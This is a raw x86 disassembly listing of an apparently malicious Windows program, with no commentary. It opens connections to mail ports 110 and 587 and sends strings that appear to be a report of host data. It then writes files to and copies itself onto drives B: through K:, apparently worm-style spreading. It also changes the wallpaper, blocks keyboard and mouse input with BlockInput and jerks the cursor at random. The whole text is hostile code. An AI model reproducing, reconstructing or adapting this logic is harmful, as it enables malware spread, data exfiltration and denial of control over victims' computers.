push 0x1315bee4
lea eax, [ebp - 0x2f4]
mov edx, dword [0x1315be48]
call fcn.13144648
mov eax, dword [ebp - 0x2f4]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
push 0x13158a2c
lea eax, [ebp - 0x2f8]
call fcn.1314d360
push dword [ebp - 0x2f8]
push 0x131587cc
push 0x13158a44
lea eax, [ebp - 0x2fc]
call fcn.1314d438
push dword [ebp - 0x2fc]
mov eax, 0x1315be64
mov edx, 5
call fcn.131447ac
call fcn.1314e92c
mov eax, dword [0x1315be64]
call fcn.131446ec
mov dword [0x1315be4c], eax
call fcn.1314e92c
lea eax, [ebp - 0x300]
call fcn.13149928
mov edx, dword [ebp - 0x300]
mov eax, 0x1315be68
call fcn.131444c0
call fcn.1314e92c
mov eax, dword [0x1315be68]
call fcn.131446ec
mov edi, eax
call fcn.1314e92c
push 0x1315bb28
mov dl, 1
mov al, 1
call fcn.13145a58
push eax
call sub.wsock32.dll_WSAStartup
test eax, eax
call fcn.1314e92c
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
call fcn.1314e92c
cmp esi, 0xffffffff
call fcn.1314e92c
push 0
call sub.wsock32.dll_htonl
mov dword [0x1315bccc], eax
call fcn.1314e92c
mov word [0x1315bcc8], 2
call fcn.1314e92c
push 0x6e
call sub.wsock32.dll_htons
mov word [0x1315bcca], ax
call fcn.1314e92c
mov eax, 0x13158a58
call fcn.1314b970
mov dword [0x1315bccc], eax
call fcn.1314e92c
push 0x10
push 0x1315bcc8
push esi
call sub.wsock32.dll_connect
inc eax
call fcn.1314e92c
mov eax, esi
call fcn.1314bc04
call fcn.1314e92c
mov edx, 0x13158a6c
mov eax, esi
call fcn.1314bb48
call fcn.1314e92c
mov eax, esi
call fcn.1314bc04
call fcn.1314e92c
mov edx, 0x13158a80
mov eax, esi
call fcn.1314bb48
call fcn.1314e92c
mov eax, esi
call fcn.1314bc04
call fcn.1314e92c
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov ebx, eax
call fcn.1314e92c
cmp ebx, 0xffffffff
call fcn.1314e92c
push 0
call sub.wsock32.dll_htonl
mov dword [0x1315bcbc], eax
call fcn.1314e92c
mov word [0x1315bcb8], 2
call fcn.1314e92c
push 0x24b
call sub.wsock32.dll_htons
mov word [0x1315bcba], ax
call fcn.1314e92c
mov eax, 0x13158a94
call fcn.1314b970
mov dword [0x1315bcbc], eax
call fcn.1314e92c
push 0x10
push 0x1315bcb8
push ebx
call sub.wsock32.dll_connect
inc eax
call fcn.1314e92c
push 0x64
call sub.kernel32.dll_Sleep
call fcn.1314e92c
mov eax, ebx
call fcn.1314bc04
call fcn.1314e92c
push 0x64
call sub.kernel32.dll_Sleep
call fcn.1314e92c
lea eax, [ebp - 0x308]
call fcn.1314bb10
mov ecx, dword [ebp - 0x308]
lea eax, [ebp - 0x304]
mov edx, 0x13158aac
call fcn.13144738
mov edx, dword [ebp - 0x304]
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
mov eax, ebx
call fcn.1314bc04
call fcn.1314e92c
mov edx, 0x13158abc
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
mov eax, ebx
call fcn.1314bc04
call fcn.1314e92c
push 0x13158ae0
push dword [0x1315bee4]
push 0x13158af4
lea eax, [ebp - 0x30c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x30c]
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
mov eax, ebx
call fcn.1314bc04
call fcn.1314e92c
mov edx, 0x13158b00
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
push 0x3e8
call sub.kernel32.dll_Sleep
call fcn.1314e92c
mov eax, ebx
call fcn.1314bc04
call fcn.1314e92c
mov edx, 0x13158b10
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
push 0x13158b30
push dword [0x1315bee4]
push 0x13158af4
lea eax, [ebp - 0x310]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x310]
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
push 0x13158b40
lea eax, [ebp - 0x318]
call fcn.1314bb10
push dword [ebp - 0x318]
push 0x131587cc
lea eax, [ebp - 0x314]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x314]
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
cmp edi, 0x82
jg 0x13154e1b
push 0x13158b54
push dword [0x1315be68]
push 0x131587cc
push 0x13158b6c
push 0x13158b80
push 0x131587cc
push dword [0x1315be64]
lea eax, [ebp - 0x320]
mov edx, 7
call fcn.131447ac
mov eax, dword [ebp - 0x320]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x31c]
call fcn.13144648
lea eax, [ebp - 0x31c]
mov edx, 0x131587cc
call fcn.131446f4
mov edx, dword [ebp - 0x31c]
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
jmp 0x13154ea2
push 0x13158b54
lea eax, [ebp - 0x32c]
push eax
mov ecx, 0x6e
xor edx, edx
mov eax, dword [0x1315be68]
call fcn.1314494c
push dword [ebp - 0x32c]
push 0x131587cc
push 0x13158b6c
push 0x13158b80
push 0x131587cc
push dword [0x1315be64]
lea eax, [ebp - 0x328]
mov edx, 7
call fcn.131447ac
mov eax, dword [ebp - 0x328]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x324]
call fcn.13144648
lea eax, [ebp - 0x324]
mov edx, 0x131587cc
call fcn.131446f4
mov edx, dword [ebp - 0x324]
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
call fcn.1314e92c
mov edx, 0x13158b98
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
mov eax, ebx
call fcn.1314bc04
call fcn.1314e92c
mov edx, 0x13158ba4
mov eax, ebx
call fcn.1314bb48
call fcn.1314e92c
mov edx, 0x13158ba4
mov eax, esi
call fcn.1314bb48
call fcn.1314e92c
mov eax, esi
call fcn.1314bc04
call fcn.1314e92c
push esi
call sub.wsock32.dll_closesocket
call fcn.1314e92c
push ebx
call sub.wsock32.dll_closesocket
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13154f1c
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315be84]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13155e98
mov eax, 0x13158bb4
call fcn.1314e874
test al, al
je 0x13154fd8
mov eax, 0x13158bc0
call fcn.1314be30
test al, al
jne 0x13154fd3
push 0
push 0x13158bd8
push dword [0x1315be70]
push 0x13158be4
lea eax, [ebp - 0x330]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x330]
call fcn.131448ec
push eax
lea edx, [ebp - 0x33c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x33c]
lea eax, [ebp - 0x338]
mov edx, 0x13158bf4
call fcn.13144738
mov eax, dword [ebp - 0x338]
lea edx, [ebp - 0x334]
call fcn.1314c4a8
mov eax, dword [ebp - 0x334]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315bce0
mov edx, 0x1315bcd8
mov al, 0x42
call fcn.1314ea00
test al, al
je 0x1315517b
cmp dword [0x1315bce4], 1
jne 0x13155011
cmp dword [0x1315bce0], 0xdcdb321e
ja 0x13155176
jmp 0x13155017
jg 0x13155176
mov eax, 0x13158c08
call fcn.1314be30
test al, al
jne 0x13155171
push 0x13158c20
push dword [0x1315be70]
push 0x131587cc
push 0x13158c5c
mov eax, 0x1315be1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158c78
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158c88
lea edx, [ebp - 0x348]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x348]
lea eax, [ebp - 0x344]
mov edx, 0x13158bf4
call fcn.13144738
mov eax, dword [ebp - 0x344]
lea edx, [ebp - 0x340]
call fcn.1314c4a8
mov eax, dword [ebp - 0x340]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x13158648
push dword [0x1315be70]
push 0x13158be4
lea eax, [ebp - 0x34c]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x34c]
call fcn.131448ec
push eax
lea edx, [ebp - 0x358]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x358]
lea eax, [ebp - 0x354]
mov edx, 0x13158ca0
call fcn.13144738
mov eax, dword [ebp - 0x354]
lea edx, [ebp - 0x350]
call fcn.1314c4a8
mov eax, dword [ebp - 0x350]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315bce0
mov edx, 0x1315bcd8
mov al, 0x43
call fcn.1314ea00
test al, al
je 0x1315531e
cmp dword [0x1315bce4], 1
jne 0x131551b4
cmp dword [0x1315bce0], 0xdcdb321e
ja 0x13155319
jmp 0x131551ba
jg 0x13155319
mov eax, 0x13158cb0
call fcn.1314be30
test al, al
jne 0x13155314
push 0x13158c20
push dword [0x1315be70]
push 0x131587cc
push 0x13158c5c
mov eax, 0x1315be1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158cc0
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158cd0
lea edx, [ebp - 0x364]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x364]
lea eax, [ebp - 0x360]
mov edx, 0x13158bf4
call fcn.13144738
mov eax, dword [ebp - 0x360]
lea edx, [ebp - 0x35c]
call fcn.1314c4a8
mov eax, dword [ebp - 0x35c]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x13158ce8
push dword [0x1315be70]
push 0x13158be4
lea eax, [ebp - 0x368]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x368]
call fcn.131448ec
push eax
lea edx, [ebp - 0x374]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x374]
lea eax, [ebp - 0x370]
mov edx, 0x13158a10
call fcn.13144738
mov eax, dword [ebp - 0x370]
lea edx, [ebp - 0x36c]
call fcn.1314c4a8
mov eax, dword [ebp - 0x36c]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315bce0
mov edx, 0x1315bcd8
mov al, 0x44
call fcn.1314ea00
test al, al
je 0x131554c1
cmp dword [0x1315bce4], 1
jne 0x13155357
cmp dword [0x1315bce0], 0xdcdb321e
ja 0x131554bc
jmp 0x1315535d
jg 0x131554bc
mov eax, 0x13158cf4
call fcn.1314be30
test al, al
jne 0x131554b7
push 0x13158c20
push dword [0x1315be70]
push 0x131587cc
push 0x13158c5c
mov eax, 0x1315be1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158d04
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158d14
lea edx, [ebp - 0x380]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x380]
lea eax, [ebp - 0x37c]
mov edx, 0x13158bf4
call fcn.13144738
mov eax, dword [ebp - 0x37c]
lea edx, [ebp - 0x378]
call fcn.1314c4a8
mov eax, dword [ebp - 0x378]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x13158654
push dword [0x1315be70]
push 0x13158be4
lea eax, [ebp - 0x384]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x384]
call fcn.131448ec
push eax
lea edx, [ebp - 0x390]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x390]
lea eax, [ebp - 0x38c]
mov edx, 0x13158a10
call fcn.13144738
mov eax, dword [ebp - 0x38c]
lea edx, [ebp - 0x388]
call fcn.1314c4a8
mov eax, dword [ebp - 0x388]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315bce0
mov edx, 0x1315bcd8
mov al, 0x45
call fcn.1314ea00
test al, al
je 0x13155664
cmp dword [0x1315bce4], 1
jne 0x131554fa
cmp dword [0x1315bce0], 0xdcdb321e
ja 0x1315565f
jmp 0x13155500
jg 0x1315565f
mov eax, 0x13158d2c
call fcn.1314be30
test al, al
jne 0x1315565a
push 0x13158c20
push dword [0x1315be70]
push 0x131587cc
push 0x13158c5c
mov eax, 0x1315be1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158d3c
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158d4c
lea edx, [ebp - 0x39c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x39c]
lea eax, [ebp - 0x398]
mov edx, 0x13158bf4
call fcn.13144738
mov eax, dword [ebp - 0x398]
lea edx, [ebp - 0x394]
call fcn.1314c4a8
mov eax, dword [ebp - 0x394]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x13158660
push dword [0x1315be70]
push 0x13158be4
lea eax, [ebp - 0x3a0]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x3a0]
call fcn.131448ec
push eax
lea edx, [ebp - 0x3ac]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x3ac]
lea eax, [ebp - 0x3a8]
mov edx, 0x13158ca0
call fcn.13144738
mov eax, dword [ebp - 0x3a8]
lea edx, [ebp - 0x3a4]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3a4]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315bce0
mov edx, 0x1315bcd8
mov al, 0x46
call fcn.1314ea00
test al, al
je 0x13155807
cmp dword [0x1315bce4], 1
jne 0x1315569d
cmp dword [0x1315bce0], 0xdcdb321e
ja 0x13155802
jmp 0x131556a3
jg 0x13155802
mov eax, 0x13158d64
call fcn.1314be30
test al, al
jne 0x131557fd
push 0x13158c20
push dword [0x1315be70]
push 0x131587cc
push 0x13158c5c
mov eax, 0x1315be1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158d74
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158d84
lea edx, [ebp - 0x3b8]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x3b8]
lea eax, [ebp - 0x3b4]
mov edx, 0x13158bf4
call fcn.13144738
mov eax, dword [ebp - 0x3b4]
lea edx, [ebp - 0x3b0]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3b0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x1315866c
push dword [0x1315be70]
push 0x13158be4
lea eax, [ebp - 0x3bc]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x3bc]
call fcn.131448ec
push eax
lea edx, [ebp - 0x3c8]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x3c8]
lea eax, [ebp - 0x3c4]
mov edx, 0x13158ca0
call fcn.13144738
mov eax, dword [ebp - 0x3c4]
lea edx, [ebp - 0x3c0]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3c0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315bce0
mov edx, 0x1315bcd8
mov al, 0x47
call fcn.1314ea00
test al, al
je 0x131559aa
cmp dword [0x1315bce4], 1
jne 0x13155840
cmp dword [0x1315bce0], 0xdcdb321e
ja 0x131559a5
jmp 0x13155846
jg 0x131559a5
mov eax, 0x13158d9c
call fcn.1314be30
test al, al
jne 0x131559a0
push 0x13158c20
push dword [0x1315be70]
push 0x131587cc
push 0x13158c5c
mov eax, 0x1315be1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158dac
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158dbc
lea edx, [ebp - 0x3d4]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x3d4]
lea eax, [ebp - 0x3d0]
mov edx, 0x13158bf4
call fcn.13144738
mov eax, dword [ebp - 0x3d0]
lea edx, [ebp - 0x3cc]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3cc]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x13158678
push dword [0x1315be70]
push 0x13158be4
lea eax, [ebp - 0x3d8]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x3d8]
call fcn.131448ec
push eax
lea edx, [ebp - 0x3e4]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x3e4]
lea eax, [ebp - 0x3e0]
mov edx, 0x13158ca0
call fcn.13144738
mov eax, dword [ebp - 0x3e0]
lea edx, [ebp - 0x3dc]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3dc]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315bce0
mov edx, 0x1315bcd8
mov al, 0x48
call fcn.1314ea00
test al, al
je 0x13155b4d
cmp dword [0x1315bce4], 1
jne 0x131559e3
cmp dword [0x1315bce0], 0xdcdb321e
ja 0x13155b48
jmp 0x131559e9
jg 0x13155b48
mov eax, 0x13158dd4
call fcn.1314be30
test al, al
jne 0x13155b43
push 0x13158c20
push dword [0x1315be70]
push 0x131587cc
push 0x13158c5c
mov eax, 0x1315be1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158de4
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158df4
lea edx, [ebp - 0x3f0]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x3f0]
lea eax, [ebp - 0x3ec]
mov edx, 0x13158bf4
call fcn.13144738
mov eax, dword [ebp - 0x3ec]
lea edx, [ebp - 0x3e8]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3e8]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x13158684
push dword [0x1315be70]
push 0x13158be4
lea eax, [ebp - 0x3f4]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x3f4]
call fcn.131448ec
push eax
lea edx, [ebp - 0x400]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x400]
lea eax, [ebp - 0x3fc]
mov edx, 0x13158ca0
call fcn.13144738
mov eax, dword [ebp - 0x3fc]
lea edx, [ebp - 0x3f8]
call fcn.1314c4a8
mov eax, dword [ebp - 0x3f8]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315bce0
mov edx, 0x1315bcd8
mov al, 0x4a
call fcn.1314ea00
test al, al
je 0x13155cf0
cmp dword [0x1315bce4], 1
jne 0x13155b86
cmp dword [0x1315bce0], 0xdcdb321e
ja 0x13155ceb
jmp 0x13155b8c
jg 0x13155ceb
mov eax, 0x13158e0c
call fcn.1314be30
test al, al
jne 0x13155ce6
push 0x13158c20
push dword [0x1315be70]
push 0x131587cc
push 0x13158c5c
mov eax, 0x1315be1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158e1c
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158e2c
lea edx, [ebp - 0x40c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x40c]
lea eax, [ebp - 0x408]
mov edx, 0x13158bf4
call fcn.13144738
mov eax, dword [ebp - 0x408]
lea edx, [ebp - 0x404]
call fcn.1314c4a8
mov eax, dword [ebp - 0x404]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x13158690
push dword [0x1315be70]
push 0x13158be4
lea eax, [ebp - 0x410]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x410]
call fcn.131448ec
push eax
lea edx, [ebp - 0x41c]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x41c]
lea eax, [ebp - 0x418]
mov edx, 0x13158ca0
call fcn.13144738
mov eax, dword [ebp - 0x418]
lea edx, [ebp - 0x414]
call fcn.1314c4a8
mov eax, dword [ebp - 0x414]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov ecx, 0x1315bce0
mov edx, 0x1315bcd8
mov al, 0x4b
call fcn.1314ea00
test al, al
je 0x13155e93
cmp dword [0x1315bce4], 1
jne 0x13155d29
cmp dword [0x1315bce0], 0xdcdb321e
ja 0x13155e8e
jmp 0x13155d2f
jg 0x13155e8e
mov eax, 0x13158e44
call fcn.1314be30
test al, al
jne 0x13155e89
push 0x13158c20
push dword [0x1315be70]
push 0x131587cc
push 0x13158c5c
mov eax, 0x1315be1c
mov edx, 4
call fcn.131447ac
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push 0x13158e54
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
call fcn.1314e92c
push 0
push 0x1315be38
mov eax, dword [0x1315be1c]
call fcn.131446ec
push eax
mov eax, dword [0x1315be1c]
call fcn.131448ec
push eax
push ebx
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push ebx
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 0
push 0x13158e64
lea edx, [ebp - 0x428]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x428]
lea eax, [ebp - 0x424]
mov edx, 0x13158bf4
call fcn.13144738
mov eax, dword [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.1314c4a8
mov eax, dword [ebp - 0x420]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
push 0
push 0x13158e7c
push dword [0x1315be70]
push 0x13158be4
lea eax, [ebp - 0x42c]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x42c]
call fcn.131448ec
push eax
lea edx, [ebp - 0x438]
xor eax, eax
call fcn.13142c40
mov ecx, dword [ebp - 0x438]
lea eax, [ebp - 0x434]
mov edx, 0x13158ca0
call fcn.13144738
mov eax, dword [ebp - 0x434]
lea edx, [ebp - 0x430]
call fcn.1314c4a8
mov eax, dword [ebp - 0x430]
call fcn.131448ec
push eax
call sub.kernel32.dll_CopyFileA
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315bed0]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x1315600a
push 0x101
push 0x1315bce8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315bdec], 0x1315bce8
call fcn.1314e92c
mov eax, 0x1315be00
mov edx, dword [0x1315bdec]
call fcn.13144648
call fcn.1314e92c
lea eax, [ebp - 0x43c]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315be00]
call fcn.1314494c
push dword [ebp - 0x43c]
push dword [0x1315be6c]
push 0x13158e88
mov eax, 0x1315be28
mov edx, 3
call fcn.131447ac
call fcn.1314e92c
lea eax, [ebp - 0x444]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315be00]
call fcn.1314494c
push dword [ebp - 0x444]
push dword [0x1315be6c]
push 0x13158e88
lea eax, [ebp - 0x440]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x440]
call fcn.13146abc
call fcn.1314e92c
xor eax, eax
push ebp
push 0x13155ffb
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x44c]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315be00]
call fcn.1314494c
push dword [ebp - 0x44c]
push dword [0x1315be6c]
push 0x13158e88
lea eax, [ebp - 0x448]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x448]
call fcn.1314be64
call fcn.1314e92c
push 0x1f4
call sub.kernel32.dll_Sleep
call fcn.1314e92c
push 1
mov eax, dword [0x1315be28]
call fcn.131448ec
push eax
push 0
push 0x14
call sub.user32.dll_SystemParametersInfoA
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13156005
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315beb0]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x13156053
xor eax, eax
push ebp
push 0x13156044
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
call fcn.1314e7d8
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1315604e
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315beac]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x1315609a
xor eax, eax
push ebp
push 0x1315608b
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.1314c278
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x13156095
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315beb4]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x131560c9
call sub.kernel32.dll_GetCurrentProcess
push eax
push 0
push 0
push 0x13158e90
call sub.winmm.dll_mciSendStringA
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315be88]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x131560eb
push 1
call sub.USER32.DLL_BlockInput
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315be90]
mov edx, 0x13156ad8
call fcn.13144838
jne 0x1315617d
push 0x1315bdf0
call sub.user32.dll_GetCursorPos
call fcn.1314e92c
mov esi, 1
push 0x1315bdf0
call sub.user32.dll_GetCursorPos
call fcn.1314e92c
call fcn.13142ca4
call fcn.1314e92c
mov eax, 0x15e
call fcn.131432a4
push eax
call sub.kernel32.dll_Sleep
call fcn.1314e92c
mov eax, 0x46
call fcn.131432a4
add eax, dword [0x1315bdf4]
push eax
mov eax, 0x64
call fcn.131432a4
add eax, dword [0x1315bdf0]
push eax
call sub.user32.dll_SetCursorPos
call fcn.1314e92c
inc esi
cmp esi, 0x1f5
jne 0x13156115
call fcn.1314e92c
call fcn.1314e92c
